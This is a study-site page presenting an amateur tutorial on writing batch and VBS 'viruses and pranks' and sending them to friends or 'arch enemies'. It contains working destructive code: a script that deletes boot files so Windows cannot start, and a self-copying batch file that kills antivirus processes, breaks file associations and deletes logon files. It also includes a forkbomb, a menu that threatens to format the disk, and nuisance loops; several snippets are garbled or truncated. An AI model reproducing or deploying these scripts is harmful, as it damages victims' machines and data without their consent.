






Study with the several resources on Docsity
Earn points by helping other students or get them with a premium plan
Prepare for your exams
Study with the several resources on Docsity
Earn points to download
Earn points by helping other students or get them with a premium plan
Instructions on how to create simple viruses and pranks using batch files and VBS scripts. It includes codes for screen flashing, auto-run files, forkbomb virus, and destructive viruses. Users are warned not to try these on their own computers.
Typology: Essays (high school)
1 / 12
This page cannot be seen from the preview
Don't miss anything!







This batch file can make your screen flash random colors until you hit a key to stop it, Just copy and paste the following code into notepad and then save it as a .bat file.
Or you can But if you want to prank a friend then do the same with this code, if any key is pressed it turns the screen blackThe only way to stop it is by using CTRL-ALT-DELETE.
Simplest virus called FORKBOMB virus just open notepad and type in
and save as anything.bat Very simple to remember This virus will jam the processor and hang/crash the computer. It doesn't do any damage though. Just restart and it will be fine
In this post i am going to give you dangerous virus code which is written in Batch Programming language. This virus can : 1.Copy itself into startup 2.Copy itself over one thousand times into random spots in your computer. 3.Hide its self and all other created files 4.Task kill MSN, Norton, Windows Explorer, Limewire. 5.Swap the left mouse button with the right one 6.Opens alert boxes 7.Changes the time to 12:00 and shuts down the computer
shutdown -r -t 10 -c "VIRUS DETECTED" start start time 12: :R.I.P cd %usernameprofile%\desktop copy Greatgame.bat %random%.bat goto RIP
Do not try this at your own computer: Well remember that u don’ttry this @ ur own computer in any circumstances because the filewe are going to create will reboot the computer once and also delete all the file needed by the computer to restart again,so u got it right well if u r pranking with ur friend or ur enemy remember that his or her will never restart unless new Windows is installed. Here is the Guide to Destroying Virus: Open up notepad and copy and paste this: @echo off attrib -r -s -h c:autoexec.bat del c:autoexec.bat attrib -r -s -h c:boot.ini del c:boot.ini attrib -r -s -h c:ntldr del c:ntldr attrib -r -s -h c:windowswin.ini del c:windowswin.ini And SAVE this file as .bat Now that’s it ur Virus is ready well it’s a Monster Virus. Remember Don’t click on this file in ur Computer.
It asks your enemy to choose a number between 1-5 and then does a certain action FOR ARCH ENEMIES ONLY SEND USING ANONYMOUSEMAIL @echo off title The end of the world cd C:
:menu cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc... pause echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring) echo 5. Easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two Save it as "Anything.BAT" and send it. ==================================================
Type : @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top
This will display a message and make vbscript hit backspace continuously IN NOTEPAD TYPE: MsgBox "Let's go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop Save it as " Anything.VBS " and send it.
do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Save it as " Anything.VBS " and send it.
Type : Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count>= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop
Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop
1) Convey a little message and shut down the computer: Type : @echo off msg * I don't like you shutdown -c "Error! You are too ******!" -s Save it as " Anything.BAT " in All Files and send it.
2) Toggle the Caps Lock button simultaneously: Type : Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as " Anything.VBS " and send it. 3) Continually pop out the CD Drive. If there are more than one, it pops out all of them! Type : Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count>= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Save it as " Anything.VBS " and send it. 4) Frustrate someone by making this VBScript hit Enter simultaneously: Type : Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Save it as " Anything.VBS " and send it. 5) Open Notepad, slowly type "Hello, how are you? I am good thanks" after some time of clicking the file and freak someone out: Type :
7) Hack the keyboard and make it type "You are a fool" continuously: Type : Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "You are a fool." loop Save it as " Anything.VBS " and send it.
8. Open Notepad continually in your friend's computer: Type : @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top Save it as " Anything.BAT " and send it. 9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1- 5 and then does a certain action: 1: Shutdown 2: Restart 3: Wipes out your hard drive (BEWARE) 4: Net send 5: Messages then shutdown Type : @echo off title The end of the world cd C:
:menu cls echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc... pause echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring)
echo 5. Easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two Save it as " Anything.BAT " and send it.
1. Ends Process, NAVAPSVC.exe 2. Ends Process, Explorer.exe (taskbar and icons will dissapear) 3. Ends Process, zonelabs.exe 4. associate a exe file with txt (when opening exe files, it will go to notepad) 5. associate a txt file with mp3 (when opening txt files, it will open WinAmp or WMP) 6. Deletes Login/Logoff Screens Just Copy This Below code In Notepad , Save as anything.bat and you are done! <<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>> title virus is my dna color 0A @echo off set end=md “any message you want” set fin=copy “Hack log.txt” “Installing” %end% %fin% net send * any message you want kill NAVAPSVC.exe /F /Q kill zonelabs.exe /F /Q kill explorer.exe /F /Q cls assoc .exe=txtfile assoc .txt=mp3file assoc .mp3=.vcf cls msg * this is just the beginning. msg * any message. DEL C:\WINDOWS\system32\logoff.exe /F /Q DEL C:\WINDOWS\system32\logon.exe /F /Q